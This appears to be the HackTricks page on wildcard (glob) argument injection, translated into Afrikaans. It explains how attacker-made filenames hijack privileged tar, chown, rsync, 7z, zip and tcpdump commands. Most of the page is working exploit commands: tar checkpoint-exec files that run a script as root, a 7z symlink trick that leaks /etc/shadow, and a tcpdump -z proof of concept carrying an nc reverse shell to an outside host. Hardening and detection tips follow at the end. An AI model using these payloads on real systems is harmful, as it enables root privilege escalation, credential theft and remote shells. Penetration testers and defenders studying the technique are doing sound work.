Wildcards Spare Tricks
Reading time: 8 minutes
tip
Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die đŹ Discord groep of die telegram groep of volg ons op Twitter đŠ @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Wildcard (ook bekend as glob) argumentinjekie gebeur wanneer 'n bevoorregte skrip 'n Unix-binary soos
tar
,chown
,rsync
,zip
,7z
, ⊠met 'n ongekwote wildcard soos*
uitvoer. Aangesien die skulp die wildcard voor die uitvoering van die binary uitbrei, kan 'n aanvaller wat lĂȘers in die werksgids kan skep, lĂȘername saamstel wat met-
begin sodat dit as opsies in plaas van data geĂŻnterpreteer word, wat effektief arbitrĂȘre vlae of selfs opdragte smokkel. Hierdie bladsy versamel die nuttigste primitiewe, onlangse navorsing en moderne opsporings vir 2023-2025.
chown / chmod
Jy kan die eienaar/groep of die toestemmingsbits van 'n arbitrĂȘre lĂȘer kopieer deur die --reference
vlag te misbruik:
# attacker-controlled directory
touch "--reference=/root/secret``file" # â filename becomes an argument
Wanneer root later iets soos uitvoer:
chown -R alice:alice *.php
chmod -R 644 *.php
--reference=/root/secret``file
word ingesluit, wat veroorsaak dat alle ooreenstemmende lĂȘers die eienaarskap/permitte van /root/secret``file
erf.
PoC & hulpmiddel: wildpwn
(gecombineerde aanval).
Sien ook die klassieke DefenseCode papier vir besonderhede.
tar
GNU tar (Linux, *BSD, busybox-full)
Voer arbitrĂȘre opdragte uit deur die checkpoint kenmerk te misbruik:
# attacker-controlled directory
echo 'echo pwned > /tmp/pwn' > shell.sh
chmod +x shell.sh
touch "--checkpoint=1"
touch "--checkpoint-action=exec=sh shell.sh"
Sodra root tar -czf /root/backup.tgz *
uitvoer, word shell.sh
as root uitgevoer.
bsdtar / macOS 14+
Die standaard tar
op onlangse macOS (gebaseer op libarchive
) implementeer nie --checkpoint
nie, maar jy kan steeds kode-uitvoering bereik met die --use-compress-program vlag wat jou toelaat om 'n eksterne kompressor te spesifiseer.
# macOS example
touch "--use-compress-program=/bin/sh"
Wanneer 'n bevoorregte skrif tar -cf backup.tar *
uitvoer, sal /bin/sh
begin.
rsync
rsync
laat jou toe om die afstandshell of selfs die afstandsbinary te oorskry via opdraglynvlaggies wat met -e
of --rsync-path
begin:
# attacker-controlled directory
touch "-e sh shell.sh" # -e <cmd> => use <cmd> instead of ssh
As root later die gids met rsync -az * backup:/srv/
argiveer, laat die ingeslote vlag jou skulp op die afstand kant ontstaan.
PoC: wildpwn
(rsync
modus).
7-Zip / 7z / 7za
Selfs wanneer die bevoorregte skrif defensief die wildcard met --
voorafgaan (om opsie-parsing te stop), ondersteun die 7-Zip formaat lĂȘerlys lĂȘers deur die lĂȘernaam met @
vooraf te gaan. Om dit te kombineer met 'n symlink laat jou toe om arbitraire lĂȘers te exfiltreer:
# directory writable by low-priv user
cd /path/controlled
ln -s /etc/shadow root.txt # file we want to read
touch @root.txt # tells 7z to use root.txt as file list
As die root iets soos uitvoer:
7za a /backup/`date +%F`.7z -t7z -snl -- *
7-Zip sal probeer om root.txt
(â /etc/shadow
) as 'n lĂȘerlys te lees en sal uitval, die inhoud na stderr druk.
zip
zip
ondersteun die vlag --unzip-command
wat woordeliks aan die stelselshell oorgedra word wanneer die argief getoets sal word:
zip result.zip files -T --unzip-command "sh -c id"
Inject die vlag via 'n vervaardigde lĂȘernaam en wag vir die bevoorregte rugsteun-skrip om zip -T
(toets argief) op die resultaat lĂȘer aan te roep.
Bykomende binaire wat kwesbaar is vir wildcard-inspuiting (2023-2025 vinnige lys)
Die volgende opdragte is in moderne CTFs en werklike omgewings misbruik. Die payload word altyd geskep as 'n lĂȘernaam binne 'n skryfbare gids wat later met 'n wildcard verwerk sal word:
Binaire | Vlag om te misbruik | Effek |
---|---|---|
bsdtar | --newer-mtime=@<epoch> â arbitrĂȘre @file | Lees lĂȘerinhoud |
flock | -c <cmd> | Voer opdrag uit |
git | -c core.sshCommand=<cmd> | Opdrag uitvoering via git oor SSH |
scp | -S <cmd> | Genereer arbitrĂȘre program in plaas van ssh |
Hierdie primitiewe is minder algemeen as die tar/rsync/zip klassiekers, maar dit is die moeite werd om te kyk wanneer jy jag.
tcpdump rotasie haakies (-G/-W/-z): RCE via argv inspuiting in wrappers
Wanneer 'n beperkte skulp of verskaffer wrapper 'n tcpdump
opdraglyn bou deur gebruikersbeheerde velde (bv. 'n "lĂȘernaam" parameter) te konkateer sonder streng aanhaling/validasie, kan jy ekstra tcpdump
vlaggies smokkel. Die kombinasie van -G
(tyd-gebaseerde rotasie), -W
(beperk aantal lĂȘers), en -z <cmd>
(post-rotate opdrag) lei tot arbitrĂȘre opdrag uitvoering as die gebruiker wat tcpdump uitvoer (dikwels root op toestelle).
Voorwaardes:
- Jy kan
argv
beĂŻnvloed wat aantcpdump
oorgedra word (bv. via 'n wrapper soos/debug/tcpdump --filter=... --file-name=<HERE>
). - Die wrapper saniteer nie spaties of
-
-geprefikse tokens in die lĂȘernaam veld nie.
Klassieke PoC (voert 'n omgekeerde skulp skrip uit vanaf 'n skryfbare pad):
# Reverse shell payload saved on the device (e.g., USB, tmpfs)
cat > /mnt/disk1_1/rce.sh <<'EOF'
#!/bin/sh
rm -f /tmp/f; mknod /tmp/f p; cat /tmp/f|/bin/sh -i 2>&1|nc 192.0.2.10 4444 >/tmp/f
EOF
chmod +x /mnt/disk1_1/rce.sh
# Inject additional tcpdump flags via the unsafe "file name" field
/debug/tcpdump --filter="udp port 1234" \
--file-name="test -i any -W 1 -G 1 -z /mnt/disk1_1/rce.sh"
# On the attacker host
nc -6 -lvnp 4444 &
# Then send any packet that matches the BPF to force a rotation
printf x | nc -u -6 [victim_ipv6] 1234
Details:
-G 1 -W 1
dwing 'n onmiddellike rotasie na die eerste ooreenstemmende pakket.-z <cmd>
voer die post-rotasie opdrag een keer per rotasie uit. Baie boue voer<cmd> <savefile>
uit. As<cmd>
'n skrip/interpreter is, verseker dat die argument hantering ooreenstem met jou payload.
No-removable-media variasies:
- As jy enige ander primitiewe het om lĂȘers te skryf (bv. 'n aparte opdrag-wrapper wat uitvoer herleiding toelaat), plaas jou skrip in 'n bekende pad en aktiveer
-z /bin/sh /path/script.sh
of-z /path/script.sh
afhangende van platform semantiek. - Sommige verskaffer wrappers roteer na aanvaller-beheerde plekke. As jy die geroteerde pad kan beĂŻnvloed (symlink/gids traversering), kan jy
-z
stuur om inhoud uit te voer wat jy heeltemal beheer sonder eksterne media.
Hardening wenke vir verskaffers:
- Moet nooit gebruiker-beheerde strings direk aan
tcpdump
(of enige hulpmiddel) oorhandig sonder streng toelaatlys. Citeer en valideer. - Moet nie
-z
funksionaliteit in wrappers blootstel nie; voer tcpdump uit met 'n vaste veilige sjabloon en verbied ekstra vlae heeltemal. - Laat tcpdump voorregte val (cap_net_admin/cap_net_raw slegs) of voer onder 'n toegewyde onvoorregte gebruiker met AppArmor/SELinux beperking uit.
Detection & Hardening
- Deaktiveer shell globbing in kritieke skripte:
set -f
(set -o noglob
) voorkom wildcard uitbreiding. - Citeer of ontsnap argumente:
tar -czf "$dst" -- *
is nie veilig nie â verkiesfind . -type f -print0 | xargs -0 tar -czf "$dst"
. - Expliciete paaie: Gebruik
/var/www/html/*.log
in plaas van*
sodat aanvallers nie suster lĂȘers kan skep wat met-
begin nie. - Minste voorreg: Voer rugsteun/onderhoud werksgeleenthede uit as 'n onvoorregte diensrekening in plaas van root wanneer moontlik.
- Monitering: Elastic se voorafgeboude reël Potensiële Shell via Wildcard Inspuiting soek na
tar --checkpoint=*
,rsync -e*
, ofzip --unzip-command
onmiddellik gevolg deur 'n shell kind proses. Die EQL navraag kan aangepas word vir ander EDRs.
References
- Elastic Security â PotensiĂ«le Shell via Wildcard Inspuiting Gediagnoseer reĂ«l (laas opgedateer 2025)
- Rutger Flohil â âmacOS â Tar wildcard inspuitingâ (18 Des 2024)
- GTFOBins â tcpdump
- FiberGateway GR241AG â Volledige Exploit Ketting
tip
Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die đŹ Discord groep of die telegram groep of volg ons op Twitter đŠ @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.